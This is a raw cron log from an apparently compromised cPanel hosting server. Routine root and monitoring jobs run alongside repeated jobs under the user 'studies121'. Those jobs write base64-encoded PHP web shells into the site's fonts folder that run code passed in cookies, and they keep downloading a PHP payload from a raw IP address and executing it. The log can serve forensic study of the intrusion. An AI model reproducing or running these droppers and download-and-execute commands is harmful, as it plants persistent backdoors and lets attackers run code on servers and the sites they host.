Sep 10 04:33:01 ip-184-168-122-23 CROND[444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:33:01 ip-184-168-122-23 CROND[443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:34:01 ip-184-168-122-23 CROND[535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:34:01 ip-184-168-122-23 CROND[534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:34:01 ip-184-168-122-23 CROND[536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:34:01 ip-184-168-122-23 CROND[537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:34:01 ip-184-168-122-23 CROND[539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:35:01 ip-184-168-122-23 CROND[654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:35:01 ip-184-168-122-23 CROND[653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:35:01 ip-184-168-122-23 CROND[656]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 04:35:01 ip-184-168-122-23 CROND[658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:35:01 ip-184-168-122-23 CROND[662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:35:01 ip-184-168-122-23 CROND[663]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 04:35:01 ip-184-168-122-23 CROND[667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:35:01 ip-184-168-122-23 CROND[666]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:36:01 ip-184-168-122-23 CROND[767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:36:01 ip-184-168-122-23 CROND[769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:36:01 ip-184-168-122-23 CROND[771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:36:01 ip-184-168-122-23 CROND[772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:36:01 ip-184-168-122-23 CROND[773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:37:01 ip-184-168-122-23 CROND[895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:37:01 ip-184-168-122-23 CROND[896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:37:01 ip-184-168-122-23 CROND[897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:37:01 ip-184-168-122-23 CROND[899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:38:01 ip-184-168-122-23 CROND[1103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:38:01 ip-184-168-122-23 CROND[1106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:38:01 ip-184-168-122-23 CROND[1104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:38:01 ip-184-168-122-23 CROND[1105]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep 10 04:38:01 ip-184-168-122-23 CROND[1109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:38:01 ip-184-168-122-23 CROND[1110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:39:01 ip-184-168-122-23 CROND[1270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:39:02 ip-184-168-122-23 CROND[1272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:39:02 ip-184-168-122-23 CROND[1273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:39:02 ip-184-168-122-23 CROND[1275]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 04:39:02 ip-184-168-122-23 CROND[1276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:40:02 ip-184-168-122-23 CROND[1467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:40:02 ip-184-168-122-23 CROND[1472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:40:02 ip-184-168-122-23 CROND[1473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:40:02 ip-184-168-122-23 CROND[1469]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:40:02 ip-184-168-122-23 CROND[1470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:40:02 ip-184-168-122-23 CROND[1474]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:40:02 ip-184-168-122-23 CROND[1471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:40:02 ip-184-168-122-23 CROND[1475]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 04:41:01 ip-184-168-122-23 CROND[1573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:41:01 ip-184-168-122-23 CROND[1575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:41:01 ip-184-168-122-23 CROND[1576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:41:01 ip-184-168-122-23 CROND[1577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:42:01 ip-184-168-122-23 CROND[1703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:42:01 ip-184-168-122-23 CROND[1705]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:42:01 ip-184-168-122-23 CROND[1706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:42:01 ip-184-168-122-23 CROND[1707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:42:01 ip-184-168-122-23 CROND[1708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:43:01 ip-184-168-122-23 CROND[1892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:43:01 ip-184-168-122-23 CROND[1894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:43:01 ip-184-168-122-23 CROND[1895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:43:01 ip-184-168-122-23 CROND[1897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:44:01 ip-184-168-122-23 CROND[2008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:44:01 ip-184-168-122-23 CROND[2011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:44:01 ip-184-168-122-23 CROND[2012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:44:01 ip-184-168-122-23 CROND[2010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:44:01 ip-184-168-122-23 CROND[2013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:45:01 ip-184-168-122-23 CROND[2116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
